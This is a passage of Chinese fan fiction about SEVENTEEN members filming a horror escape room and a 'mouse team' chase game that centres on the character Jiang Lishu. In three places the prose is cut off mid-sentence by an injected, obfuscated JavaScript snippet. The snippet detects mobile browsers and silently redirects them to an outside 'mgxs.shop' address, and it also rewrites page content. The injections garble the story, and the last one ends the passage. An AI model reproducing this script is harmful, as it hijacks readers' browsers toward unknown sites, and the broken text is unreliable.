天台那边的崔胜澈还不知道,权顺荣已经在“三亿”的边缘反复横跳。 但这边的李知勋已经亲眼见到了“逃离失败”的权顺荣,此刻的表情,已经开始逐渐转向“面色不善”。 “让你找到钥匙,没让你泄露音源啊!” 镜头回到另一边还没上场的成员们,这边已经接收到权顺荣和洪知秀逃离失败的消息后,徐明浩和李硕珉就开始戴起了摄像设备,进场。 崔胜澈越发的紧张起来,抓着姜里树的手说:“里树啊,知道你跑的很快,但是一会儿也不要跑的太快啊,要拉紧我的手,啊啦搜?” “啊啦搜啊啦搜,不会让你一个人的,放心好了,就算跑散了我也一定会找到你的。”姜里树好笑的看着瑟缩在他身旁的崔胜澈,“找不到的话,你就躲好。” 天台上,只剩他们俩还在等待。脚下的建筑里,不时传来李硕珉凄厉的“咔叽嘛咔叽嘛咔叽嘛——!!!” 一时之间,天台那点紧张兮兮的气氛,被这此起彼伏的“背景音效”彻底打散,逐渐变得……搞笑起来。 没过多久,甚至不需要PD播报,他们也清晰听见了楼下传来的动静。徐明浩忍俊不禁的笑声,以及李硕珉一边尖叫一边狂奔出来的声音。 “终于到我们了。”崔胜澈已经和姜里树佩戴好随身摄像设备。既然前面那么多成员都顺利逃脱了,那他们……应该也可以吧? 二人下到密室所在的楼层,在安全通道门口,崔胜澈紧紧抓着姜里树的手指,站在他背后,努力想让自己看起来不那么害怕。 姜里树打开安全通道的门,率先探头进去一看,才发现密室内部并不是想象中那么暗,甚至比预想的要亮一些。他稍稍松了口气,就这么牵着身后的崔胜澈,开始小心地一间一间搜寻钥匙的踪影。 “里树啊,你抖什么?”崔胜澈牵着姜里树的手,明显感觉到对方的手指时不时会不受控制地轻颤一下。 “……大概是因为兴奋吧。”姜里树面不改色地找了个借口。他没说实话,十有八九是制作组在“测试”他身上的低频按摩仪是否正常工作。 撞“鬼”也来得猝不及防。拐角处,姜里树率先和扮作小丑的NPC打了个照面。 双方都没尖叫,但显然都被对方吓了一跳。小丑是被姜里树的眼睛吓到的,随身摄像机自带的灯光从下往上打在他脸上,在那样的光线下,那双平日里温和的眸子,此刻显得比小丑本人的妆容还要诡谲几分。 也多亏了姜里树一直牵着崔胜澈,却始终没有转头看他,才没让身后那位看到这“恐怖对视”的一幕。 姜里树先反应了过来。他立刻转身垂下视线,避开与崔胜澈的对视,同时反手将他轻轻推回刚经过的那个小房间,里面的房间只有这一个门。他迅速闪身进去,“咔哒”一声关上了门。 门外的小丑也反应了过来,立刻上前,用力拍打着门板。见里面两人像第一组的孩子们一样,迟迟没有出来的迹象,这才悻悻地转身离开。 从头到尾,崔胜澈连小丑的脸都没见到,就被姜里树一把护进了房间里。 确认了小丑已经离开,姜里树才对崔胜澈低声说:“可以出去了。” 两人拐进另一个房间时,里面坐着一个戴着诡异电子面具的NPC。对方猛地起身,紧接着一下子冲散了紧挨着的姜里树和崔胜澈。那NPC似乎认准了姜里树,径直追着他跑了过去……也行。 “胜澈啊!快去找钥匙!”姜里树一边跑,一边不忘朝躲到角落的崔胜澈喊道,“我来吸引!” 姜里树带着电子面具和小丑,在宽阔的废弃大厅里玩起了“你抓我”的游戏。两个NPC试图左右包抄,但满地横七竖八的旧桌椅、倒塌的柜子成了绝佳的障碍。姜里树像只烫手的猫,每次眼看就要被抓住,他就手一撑桌面轻巧跃过,总能将距离保持在那“只差一步”的微妙区间。 他甚至掌握了挑衅的节奏。NPC一停,他就停在三四步外回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205995|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,等他们追来再跑。就这样,他巧妙地将两个“杀人魔”的注意力牢牢吸在自己身上,带着他们把除了崔胜澈藏身区域外的每个房间都“参观”了一遍。 最后,连持刀的白发女士也加入了“抓猫”行列。三个NPC终于成功把姜里树堵在了出口走廊的另一端。 “里树!门开了!”崔胜澈在走廊尽头的出口处焦急大喊。 “知道了!”姜里树应了一声,目光快速扫过眼前。走廊狭窄,三名NPC并肩一站,简直密不透风。 他忽然对着严阵以待的三人,咧嘴“嘿嘿”一笑。 “?”对面的NPC们被他这突兀的笑弄得一愣,还没反应过来,就见眼前身影一晃。 姜里树以快得惊人的速度,侧冲,不是向前硬闯,而是猛地钻进了旁边一扇的小门!那房间他们都知道,内部四通八达的连接着好几个房间,其中一个……正连通着崔胜澈把守的最终出口! NPC们这才恍然大悟,急忙转身追去,小丑和女士径直冲向出口,电子面具紧追姜里树。却只听到门内传来一阵快速远去的脚步声,和一声带着笑意的:“胜澈,准备好——” 下一秒,姜里树便利用刚刚“兜风”时记下的路线,一个急转弯甩掉了身后的电子面具。他没有绕远路去找出口,反而再次折返,冲向还在走廊里小跑的小丑和白发女士。 那两人听到脚步声回头,看见姜里树迎面冲来,立刻反应过来,张开手臂就要拦截。 就在即将被合围的瞬间,姜里树一个迅捷的贴地滑铲,精准地从两人之间滑了过去,起身后毫不停顿,加速径直冲向走廊尽头。崔胜澈正为他推开那扇通往成功的门。 “哐!” 大门在身后重重关上,将追到门口的NPC们彻底隔绝。 “大成功!”姜里树举着崔胜澈的手在出口蹦蹦跳跳着,这次玩儿的都很开心。两人离开前,还不忘回头,对着门内几位累得够呛的NPC工作人员鞠躬,笑着道了声“辛苦了”,这才脚步轻快地跑下楼和一直等待他们的成员们胜利汇合。 “你们两个玩得都很开心啊,”夫胜宽看着还在兴奋状态的两个哥哥,忍不住调侃道,“一个玩儿到了真的追逐战,另一个也实实在在地体验了一把真人捉迷藏。”最不白来的两个人。 “哇,话说里树哥你每次都能正好带着NPC绕开Coups哥啊。”李灿感叹着刚刚在监控里看到的实时画面。 “因为在每个房间乱窜的时候,偶尔能看到胜澈的身影,就会提前转换路线,记住了他的位置,大概也就能猜到他在多久后会出现在哪个位置了。” “哇——”孩子们发出一阵混合着敬佩与感慨的轻呼。 “话说,hiong,你们有看到那一个……女生了吗?”金珉奎压低声音,带着点不确定问道。 “拿刀的那个不就是女生吗?”崔胜澈回想起那把闪着寒光的道具刀,不太明白他为什么这么问。 “啊尼呀~”尹净汉喝了口水,慢悠悠地揭晓,“拿刀的那位,是男扮女装的男士。” “你们是说……那个在小单间里,坐着不动、像人偶一样的女士吗?”姜里树回想了一下,看向他们确认。 “对对对!就是她!”崔瀚率立刻点头,“哥你看清她的样子了吗?” “啊~”姜里树恍然,“应该看到的是同一个吧,我凑近看了,那是个人体模型。” “说不定呢……”几个声称看到“女鬼”的成员面面相觑,感觉背后有点发凉。这哥居然还敢凑上去仔细看? 暂且搁下“女鬼”的话题,临时MC夫胜宽接过流程,他感觉这次密室逃脱的参与人数似乎比上次多了不少:“感觉这次参与密室逃脱的人好多啊,来,举手看看有多少人逃脱成功?” 大家左右看看,陆续举手。夫胜宽快速数了数:“8个!这次没有成功逃脱的人是:Vernon、Woozi、Hoshi、Joshua、Dino,还有Jun。” 考虑到节目时长和趣味性,作为“惩罚”,需要从这六人中选出一人,独自在这栋废弃建筑里拍摄一段三十分钟的Vlog。 在“红参”和“初声”游戏抉择的时候,制作组送来了“福不福”获得了孩子们的赞同。 “福不福”转了两轮后终于在本次游戏的MC手中飞了起来。 “啊——!”文俊辉看着手里的“福不福”,哭笑不得。 其他成员则可以下班了,但他们都没选择离开,而是决定留在外面,一边玩一局“红参”游戏,一边等待文俊辉完成那已经缩短为十七分钟的废弃建筑Vlog拍摄。 “先做个有力量打卡结束吧,Coups哥!” “好的。以上是SEVENTEEN!” “Say the name” “SEVENTEEN!” “谢谢~辛苦啦~” 等待文俊辉的时候,制作组问姜里树取回了电极片。 “电极片坏掉了吗?”制作组全程在视频里都没有看到姜里树有什么反应。 “没啊。”只是除了刚开始开着的时候会抽搐几下,后来和胜澈分开,贴着电极片的位置已经被电麻了,哪有没确定有没有作用就使劲按遥控器的。 56. 56.‘里鼠\’ “这一回不能再给我贴电极片了吧!”姜里树双手叉腰,眯着眼看着《Going》制作组的PD们,眼里满是警惕。再贴下去,他就要让他们见识一下‘雷电法王’的威力了。 “不会了不会了,”制作组的PD们连连摆手摇头,这次显然有了“新花样”,“本次你们几位的特殊身份是‘鼠队’。你们的任务是躲避‘敢死队’的抓捕,并保护好‘鼠王’。”制作人把姜里树、文俊辉、权顺荣、全圆佑、李知勋单独叫到一起,郑重宣布规则,“记住,如果‘鼠王’Risu被抓,鼠队将会全军覆没!” “唉~”文俊辉忍不住吐槽,“怎么可能抓得到里树哥啊?”他哥那速度,摄像师追不追得上都是个问题,更别说抓了。 制作组显然也考虑到了这点,他们直接递给姜里树一个小巧轻便的随身Cam。这是为了保证,万一跟拍摄像师没跟上,姜里树的视角也能有足够画面。 “哇,那我们这不是稳赢了?”权顺荣有点不敢相信,转向制作组确认,“努那,你确定是我们保护里树哥,而不是哥保护我们?” “再强调一次,”PD表情郑重其事的对孩子们说,“是你们保护Risu。只要‘鼠王’被抓,即使场上还有其他没被抓到的队员,你们鼠队也将被判定为全军覆没,游戏结束,所有技能都无法使用了。” “那哥你只要一直躲着不就好了。”全圆佑对姜里树提议,这似乎是最稳妥的办法。 “很可行,”姜里树想了想,分析道,“可抓捕的人有九个,我们只有五个。如果你们四个都被抓了,剩下我一个,被找到并‘淘汰’也只是时间问题。”何况对面阵营里,胜负欲最强的那几位几乎都在敢死队。 “也是。”全圆佑想了一下这悬殊的人数对比和对方的阵容,赞同地点了点头。单纯躲藏,可能确实不够。 鼠队这边已经迅速分散,各自寻找隐蔽点,决定先观察局势再行动。 与此同时,敢死队也刚刚集结完毕,正听取本次行动的“终极目标”简报。 “这就是我们本次捕鼠行动的最终目标——‘鼠王·里鼠’。”夫胜宽指着屏幕上姜里树的简化“鼠生资料”,向敢死队成员们详细介绍。资料卡上各项能力值几乎拉满,活脱脱一只“六边形鼠王”。 “哇塞,指标全满……这不太好抓吧?”崔瀚率看着那夸张的数据,歪着头发出灵魂拷问。 “内,虽然捕捉难度极高,”夫胜宽点点头,随即话锋一转,露出诱惑的笑容,“但是!一旦成功抓获‘里鼠’,整个鼠队将全军覆没!”难度与奖励完全成正比。 “‘里鼠’这个名字……还怪可爱的。”尹净汉慢悠悠地举起手,“请问!” “请说。” “请问,抓到自己喜欢的‘鼠’之后……可以自己养起来吗?”他眨眨眼,语气真诚。 “不行的吧,我们这次的任务只是‘捕鼠’啊。”本来夫胜宽想直接说不行的,可是他净汉哥多半是不会听他的。 “诶咦~”尹净汉悻悻地收回手,整个人瘫进椅子里,像棵瞬间缺水蔫掉的小草,“那也太可惜了吧……” “不过嘛,”夫胜宽话锋一转,又给了点甜头,“如果你们谁真能抓到……到时候再决定要不要‘饲养’也不是不行。”他成功点燃了成员们的斗志,“我觉得,用诱饵的话,抓到‘里鼠’的几率会大一点。” “什么诱饵能吸引到里树哥呢?”徐明浩提出了关键问题。 “Coups哥?净汉哥?知秀哥?还是……我们?”李硕珉也举手,满脸好奇。 “这个嘛……”夫胜宽摸了摸下巴,也不太确定,“那就……每个人都用自己的办法去试试好了?” “犹豫什么?”崔胜澈立刻坐直,一脸理所当然,“不该是我吗?”他觉得自己才是当仁不让的头号诱饵。 “你在说什么?”尹净汉虽然还瘫在椅子里,却已环抱起双臂,“应该是我才对啊。” “我才是。”洪知秀微笑着,优雅地指了指自己。 “我为什么不能是。”李硕珉推了推鼻梁上并不存在的黑色墨镜,摆出自信的姿势。 “肯定是我啊!”李灿直接站了起来,竖起两个大拇指很笃定的指着自己。 还没开始行动,敢死队内部先为“谁是最佳诱饵”展开了激烈(且毫无意义)的争夺。 “我们可是有人数优势啊!”李硕珉信心满满,“还怕抓不住他们几个吗?” “但是,老鼠们也有一些‘特殊能力’哦。”夫胜宽适时泼了盆冷水,提醒大家人数并非绝对优势。 “‘特殊能力’?” “‘特殊能力’。”金珉奎点点头将鼠队的特殊能力清单展示在屏幕上: “特殊能力1:将敢死队全员强制召唤回本部。最多可使用三次。” “特殊能力2:远距离解救笼子内的一只老鼠。可使用三次。” “特殊能力3:与笼子内所有老鼠一起集体越狱。仅限一次。” “神秘能力4:暂时未知。另外,鼠王‘里鼠’是否有单独的特殊技能,也尚未知晓。” “捕捉老鼠的办法是:用有颜色的水枪,将老鼠腹部全部染上颜色,则视为捕获成功。” “游戏时长两小时。敢死队目标:在两小时内抓住全部老鼠,即为胜利。鼠队胜利条件:只要两小时结束时,仍有一只老鼠存活,即为鼠队获胜。” “最后十五分钟为‘终局阶段’,届时将禁止营救和越狱。” “所以,我们要在两小时内,抓到所有老鼠才算成功。”夫胜宽总结道,看向刚才还乐观的成员们。鼠队这一连串的特殊能力,加上姜里树这个充满未知的“鼠王”,让敢死队的压力瞬间倍增。 “赢了可以对他们撒面粉,”尹净汉笑着补充,“但要是没抓到的话他们会‘还’给我们哦。” “这也太可怕了吧?”夫胜宽瞪大眼睛,语气里写满“害怕”。 “这也太可怕了吧。”李灿好笑的重复,学得有模有样。 “这次游戏,互相绝对不能喊本名!绝对不能向老鼠们透露我们的情报!”夫胜宽严肃叮嘱队友,“而且还有那么多老鼠没抓到,从现在开始,要用代号交流!” 敢死队这边正热火朝天地互相起代号,而鼠队那边早已四散开来寻找最佳躲藏地点,先把时间躲过去再说。 姜里树呢? 他正小跑着探索地形,一眼相中了位于园区中心的大厂房。里面空间开阔、障碍物多,是绝佳的追逐战场地。他带着随行PD绕过厂房侧墙,朝正大门方向走去,打算摸清路线。 “Mr. Thomas~” 一道熟悉的声音从不远处飘来。 姜里树刚绕到厂房正大门侧面,就听见洪知秀正念着什么名字。托马斯先生?什么托马斯? 他还没反应过来,视线已经和正对面坐着的徐明浩撞了个正着。 四目相对。 徐明浩的位置侧对着厂房大门,视野开阔。他几乎是瞬间弹了起来,激动地指着直面他的姜里树,声音都劈叉了: “啊!!是‘里鼠’——!!!” “嗨~” 姜里树嘴角一扬,毫不犹豫,扭头就跑。 那个浅栗色的脑袋在阳光下划出一道流畅的弧线,眨眼间消失在厂房拐角。动作之快,连跟在他身后的随行PD都没反应过来,被原地遗弃,举着摄像机愣在当场。 “莫?” “哦莫!!!” “跑了跑了跑了——!” 敢死队成员们顺着徐明浩的手指望去,只来得及捕捉到一片转瞬即逝的背影。 夫胜宽望着空荡荡的厂房门口,语气复杂:“游戏还没正式开始呢……” 但那可是“鼠王”啊!!! 那个被抓到就能立马下班、让整局游戏瞬间结束的“鼠王”啊!!!!! 就,这么跑了。 ‘这个爆率有点高啊,直接跑人家大本营门口去了。’姜里树左拐右拐,确认身后没人,才找了个角落缩进去,举着手里的随身Cam,和自己一起观察周边的风吹草动。 几乎是他刚藏好的同一时间—— “现在代号已经想好了那么希望大家今天能够成功地完成任务好的你们会做好的吧来加油吧!” 夫胜宽以堪比语速吉尼斯纪录的速度,一口气说完所有结束语,干脆利落,连标点符号都听不出来。 “……哇,不愧是主唱。”徐明浩愣了一下,无奈笑出来。 看得出,夫MC是真的很想立刻马上开启捕鼠行动。 准确地说,是真的很想抓那只刚从他眼皮底下溜走的“鼠王”。 加油打气环节被压缩成三秒,捕鼠队迅速分头行动,正式开始狩猎。 捕鼠队全员出动,朝着方才那抹浅栗色消失的方向,展开了地毯式搜捕。 每个角落、每道缝隙、每扇半开的门后,都被翻了个遍。然而,十分钟过去了,别说“鼠王”了,连其他鼠的鼠毛都没见着。 “人呢?”徐明浩探头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205996|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往废弃油桶后面张望,“刚刚还在这儿来着……哇这哥真是的,抓到了一定要打断腿啊。” “该不会……”崔瀚率看似是在发呆,实则已经走了有一会儿了,“已经跑到园区另一头了吧?”这哥这么拼吗? 夫胜宽沉默地握着水枪,望着空荡荡的厂房门口,眼神逐渐失焦。 那可是三分钟前还在眼皮底下的鼠王啊。 三分钟后,人间蒸发。 捕鼠队兵分两路。忙内line还在执着地搜捕“里鼠”的踪迹,而哥哥们已经撞上了意外暴露的文俊鼠。 “那边!文俊尼往厂房后面跑了!” 崔胜澈一声令下,集体包抄。文俊辉仗着腿长,在废弃设备间七拐八绕,硬是溜了敢死队五分钟,不愧是“风一样的美男子”啊。 姜里树站在一处堆高的货物上,手搭凉棚眺望战局,像只悠闲晒太阳的家猫。 然后是李知勋被发现,紧接着是全圆佑。权顺荣至今下落不明,堪称鼠队隐形王者,真的有在好好躲藏。 李知勋被堵在窄巷时,果断使用了特殊能力1。 呜————! 警报声响彻整座工厂。捕鼠队全员,被强制召集回本部,到手的鼠全部放掉了。 姜里树在制高点看得一清二楚,嘴角还没扬起来,头顶传来熟悉的旋翼声。 嗡—— 他抬头,一架无人机正直直地、安静地悬停在他上方三米处,镜头正对着他。 “……哦。” 姜里树愣了一下,随即对着镜头招了招手,笑得像被抓拍的路边野猫。 他迅速跳下纸箱堆,借着密集的障碍物左穿右插。无人机灵活追击,却几次被他利用狭窄顶棚卡住视野。最后他看准一堆半人高的废弃纸板,整个身子一矮,悄无声息地缩了进去。 无人机在上空盘旋两圈,最终悻悻离去。 但姜里树知道孩子们已经知道他大概在哪个区域了。 好在他们赶过来还要一段时间。姜里树迅速转移阵地,钻进一间单层仓库。里面堆满了木箱货物,没有随行PD,他利索地翻上箱堆顶端,一直爬到里面,找了个还算平整的位置,舒舒服服地躺了下来。 刚准备学权顺荣那样原地消失。 呜————! 警报再次响彻工厂。 姜里树猛地抬头,视线正好和仓库门口路过的徐明浩撞了个满怀。 四目相对。 徐明浩正被强制召回本部,眯着眼睛盯着木箱上那只姿势嚣张、毫无躲藏自觉的“鼠王”。 “嗨~”姜里树抬手,笑眯眯地打了个招呼。 他知道徐明浩这会儿抓不了他。 “‘里鼠’!!!!”徐明浩一边指着木箱上躺平的姜里树,一边对身旁同样要一起回去的崔瀚率控诉,声音都劈叉了,“哥!!!我能先打断你的腿吗?!” “何至于此?”咱俩多大的仇啊兄弟。 姜里树翻身跃下木箱,落地轻巧,顺手挼了一把崔瀚率的发顶,然后从两人身侧大摇大摆地扬长而去。徐明浩戴了帽子,逃过一劫。 崔瀚率站在原地摸了摸被挼乱的头发,还没反应过来。 回到本部的徐明浩和崔瀚率。崔胜澈看着两个弟弟,一个一脸欠了他八百万的‘悲伤感’,一个像经历了一场龙卷风一样,就问他们两个怎么了。 “……他在我们脸上跑掉了。”徐明浩面无表情。 “我们碰到了‘里鼠’。”徐明浩的声音毫无起伏,像一具被抽干了力气的空壳,“就在刚“放走”圆佑哥,被召回本部的路上。” 他顿了顿,语气更沉:“他还跟我们打招呼了。” 崔瀚率在旁边沉默点头,头顶那撮被挼乱的呆毛还倔强地支棱着。他不是被抓的,他是被他哥路过并且顺手挼了一把的。 “……”‘损失惨重啊。’崔胜澈也感到些许心痛。 “说要吸引里树哥的哥倒是去吸引啊!!!” “……”这咋吸引,就见了两次,除了第二次陪着徐明浩的崔瀚率,两次就只有徐明浩直面了‘里鼠’。 夫胜宽在旁边听完,整个人已经瘫进椅子里。 游戏正式开始不到一个小时。 ‘鼠王’已主动出击两次,嚣张指数满格。 而捕鼠队这边的战果呢? 笼子里关干干净净,权顺荣至今下落不明。 文俊辉、李知勋、全圆佑虽然被围堵过,但一个也没抓住。 要输了吗?…… 57. 57.捕鼠 “里树hiong!” 姜里树穿过一间仓库时,忽然听到有人叫他。声音是从高高垒起的货物堆上传来的,闷闷的,带着点藏不住的雀跃。 他循声抬头—— 李知勋正趴在最高那层,只露出半个脑袋和一双笑眯眯的眼睛,像一只终于爬上树顶、正俯视众生的小猫。 “知勋?!”姜里树愣了愣,随即笑了,“你怎么爬那么高?” “当然是为了躲起来啊。”李知勋理所当然地说,顿了顿,又小声补了句,“而且这里很隐密。” 姜里树走进货物堆,仰起头看着李知勋,像看着自家的猫突然爬到了树上的感觉,怕他下不来,又为他能爬那么高感到骄傲。 李知勋被他看得不自在,摇了摇脑袋问他:“……要不要上来?” 他问得很轻,像是对姜里树说,要是被抓了,他还能帮姜里树拖住敢死队的成员。 姜里树弯起眼睛:“好啊,你等我。”要是被抓了,他还能吸引拖住敢死队的孩子们让李知勋赶快跑。 他退后两步,一个轻巧的助跑跃上第一层货物,手抓住第二层的绑带,手臂用力做引体向上,干脆利落地翻了上去。动作流畅得像猫,没有踩脏一点货物包装布。 站稳后,他低头朝底下徘徊的随行摄像师们挥了挥手。 摄像师们把镜头对准高高垒起的货物,对准那两只正在最高处的“猫”,定格几秒,点点镜头,然后默契地收起设备,先行离开了。 仓库里安静下来。 只有高处传来布料摩擦的窸窣声,和谁压低了声音、像分享什么秘密似的轻笑。 两人刚在高处安顿下来,就听见: “现在8栋、10栋附近藏着老鼠们。” 广播冷不丁响起,声音清晰得像是贴着耳朵说话。 “?”姜里树整个人顿住。 他用眼神去戳李知勋:这外挂PD之前跟我们说过吗? 李知勋趴在旁边,同样屏息凝神,缓缓摇头。 没说过。 姜里树无声地深吸一口气。 行。 两个人就这么待着,姜里树却越待越没底,毛骨悚然的。 “现在22栋里藏有老鼠。” 广播再次响起。 “……” 这就过分了吧,这才过了多久?姜里树扭头和李知勋对视一眼。他俩现在就趴在22栋仓库货物最高层。 空气安静了三秒。 李知勋默默把脑袋埋进手臂里。姜里树望着仓库顶棚,开始认真思考:鼠生,还有出路吗,现在出去说不定正好碰上大部队。 更不巧的是,广播播报的时候,李灿正好站在22栋仓库门口。 脚步声由远及近。 姜里树和李知勋整个人贴在货物顶层,连呼吸都放轻了。姜里树侧头,对李知勋比了个嘘——食指竖在唇前,眼神安定。 “不能爬上去吧,规则有这么说吗?”徐明浩的声音也在仓库里响了起来。 姜里树闭上眼睛。 ……明浩啊。 这是什么程度的缘分?二遇?三遇? 随行摄像师似乎给出了否定的回答。因为下一秒,徐明浩已经踩着第一层货物,毫不犹豫地往上爬了。 他爬得很快,带着一种“我倒要看看上面到底有没有藏”的气势。 然后。 他探出头。 六目相对。 徐明浩整个人挂在货物边缘,动作凝固,眼睛一点一点睁大。 “……啊!!!!” 他的声音劈开仓库安静的空气,带着一种中彩票般的亢奋:“在这里!!!!!” 鼠王·里鼠。 子民·乌鼠。 双黄蛋。 徐明浩觉得自己回去不买张彩票都对不起今天这运气。 姜里树看他就那么挂在那儿,半个身子悬空,实在危险,叹了口气,伸手一把将他拉了上来。 徐明浩被拽上顶层,脚刚踩稳,却没有急着动手。他太清楚靠自己一个人,根本淘汰不了这两位。 “收到!”底下就是听到动静的夫胜宽,他正守在货物防止老鼠突围,闻言立刻转身往大门口跑,“我这就去叫大部队过来!” 他一边跑一边对着对外面的成员喊,完全不知道,他心心念念、至今零追捕、零消耗的“鼠王”,此刻正和他最得力的队员之一,一起坐在那堆货物的最高处,低头看着他跑远的背影。 徐明浩转回头,对上姜里树那双似笑非笑的眼睛。 “……你别这么看我。”他往后挪了半寸。 姜里树没说话,只是弯起眼睛。 明浩啊~你叫人的时候,是真的一点没发现你旁边坐的是谁吗?要知道李知勋还有一次召集大部队回本部的机会啊。 李知勋被姜里树拉起来,安静地等待大部队过来。 仓库门口,崔胜澈带着大部队正全速冲来。 “就在上面!两只都在!”夫胜宽的声音已经近在咫尺。 脚步声、水枪上膛声、此起彼伏的“堵住门口别让他们跑了!” 就在崔胜澈一只脚跨进仓库门槛、抬头正对上货物顶层那三道身影的瞬间。 “——召回。” 呜————! 刺耳的警报声再次响彻整座工厂。 崔胜澈的脚步猛地顿住。 “莫?!” “广播!广播响了!”金珉奎回头,“全体回本部集合——!” “现在?!” “现在!” 敢死队成员们面面相觑。门口离货物顶层不过十几米,冲上去最多一分钟,但广播就是广播,规则就是规则。 “……”明明胜利在望啊,崔胜澈气笑了,看着站在最高处的两只鼠,还是上前帮姜里树接两个弟弟安全下来。 而货物顶层。 姜里树也正一个一个扶着徐明浩和李知勋,从最高处稳稳当当往下落。 “慢点,这边有绑带……对,踩这里。” 徐明浩被扶着落地时,整个人还是懵的。 他不是上来抓老鼠的吗? 怎么‘鼠王’没抓着,他还被‘鼠王’扶着下来了? 李知勋最后一个落地。他站在姜里树身边,拍了拍手上的灰,抬头,看向仓库门口那里,敢死队成员们正一步一顿、心不甘情不愿地往外走。 然后—— 姜里树弯起眼睛,抬起手,对最后才离开的崔胜澈和徐明浩轻轻挥了挥。 李知勋站在他旁边,也跟着挥了挥手。 像送别。 像说再见。 像在说:下次跑快点呀。 崔胜澈的步子猛地一顿。 “……他们是不是在跟我们挥手?”金珉奎不可置信。 “是。”尹净汉语气平静,脚步没停,“而且笑得很开心。” 夫胜宽沉默了两秒。 “……我恨召回。” 而姜里树已经带着李知勋,从那群正被迫撤离的捕鼠队员眼皮子底下,大摇大摆地走出了22栋仓库大门。 阳光落在他们背上,给两只成功脱逃的老鼠镀了一层胜利的金边。 “哈哈哈哈……哥你看到他们的表情了吗!”刚离开敢死队视线,李知勋就绷不住了,笑得眼睛眯成两条缝,整个人趴在姜里树胳膊上抖个不停。 “看到了。”姜里树被他带着也弯起嘴角。何止看到,他从徐明浩那张小脸上已经读了两回“痛失百万”了。 “接下来怎么办?”李知勋笑够了,仰头问他。手还被姜里树牵着,不知道要往哪儿去。 “要藏起来吗?” “藏起来吧。”李知勋几乎没有犹豫,他今天的运动量严重爆表了。 “那我先带你藏好。” 姜里树对这片区域已经摸得七七八八。他带着李知勋七拐八绕,最后钻进一处货物夹成的三角死角。位置偏、入口窄,就算被广播点名,也要翻半天才能翻到。 “不想跑了那就不跑了,知勋已经很厉害了。”姜里树蹲下来,压低声音。 “嗯。”李知勋缩进角落,对他点点头。 姜里树起身,确认四周没有脚步声,然后朝着园区最远的另一端,安静地跑开了。 姜里树一路躲一路藏。他刚在一个地方窝好,不出两分钟广播就开始精准播报:“10栋前方帐篷发现老鼠”、“22栋旁边帐篷有老鼠躲藏”。 一次两次之后,他总算品出味来了。 PD不是冲他来的,是冲他待过的位置来的。 他刚在那片区域碰见过文俊辉,现在广播开始往外报俊辉的坐标。姜里树缩在角落,默默把观察视角又往里挪了两寸。 不出15分钟后,广播再次响起。 “JUN使用特殊能力,牢笼内所有老鼠成功出逃。” 紧接着,第二道播报紧追而来: “WONWOO使用特殊能力,Fever Time。从现在起,十分钟内,WONWOO变身为‘海狸鼠’。在此期间被抓捕的敢死队成员,需在本部待机十分钟。” “……” 播报响起时已经换了位置的姜里树挑着眉,盘腿坐在某处露天的货物最高层,遥遥望向大本营的方向。 “……”突然感觉燃起来了,又觉得哪里不对的样子。俊辉能用技能,说明被抓的鼠至少三只起步。圆佑能用技能,说明大本营那边敢死队正扎堆。他快速在脑子里过了一遍,净汉、知秀这两个十有八九已经被圆佑“抓”了,胜澈和明浩至少有一个也在。 姜里树又想了想上次四轮卡丁车大家的表演,硕珉说不定也在,珉奎可能会挣扎一下先跑开再说。 他托着腮,晃了晃悬空的小腿。 整局游戏剩下不到半个小时。 够他做很多事了。 哎~要不给孩子们一个近距离观察“鼠王”的机会好了。反正他还有一个特殊能力没用呢。嘿嘿?。 姜里树从货箱上一跃而下,开始漫无目的地闲逛。随行的摄像师很快跟了上来,镜头稳稳追着那只步履悠闲、仿佛在自家后院散步的“鼠王”。 皇天不负有心人。他再再再再一次被徐明浩发现了。 “……”徐明浩站在二十米开外,举着水枪,整个人静默了两秒。 姜里树弯起眼睛,朝他挥挥手。 “嘿嘿?。” 然后扭头就跑。 “……”这哥让他追到他就死定了!徐明浩拔腿就追,也不去追突然跑到本部的权顺荣了。 李灿就站在他明浩哥身边,自然也看见了姜里树,也跟着追了上去帮忙。 “明浩啊!Dino啊!你们去哪儿?”金珉奎冲着两道突然偏离路线的背影大喊。 “姜里树啊——!!那是姜里树——!!!” 气笑了的徐明浩的声音都劈叉了,他真的会打断他哥的腿!!! “?”金珉奎愣在原地。 ……直呼大哥全名了吗? 明浩,冷静点啊明浩!! 但徐明浩追不上。 不是跑不过,是前面那位根本没认真跑。速度维持在一种“你再快两步就能够到”的微妙区间,吊着人,又不让人抓到。 然后,姜里树突然刹住。 转身杀了个回马枪。 张开双臂。 一把抱住了没收住脚、直直冲进他怀里的徐明浩—— 还有跟在后面、一头撞上来的李灿。 “‘鼠王’使用特殊能力!转移‘鼠王’头衔! ” 姜里树偏头对着别在领口的麦克风,声音清晰,带着点得逞的笑意。 顿时广播响彻整座工厂。 “‘鼠王· ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 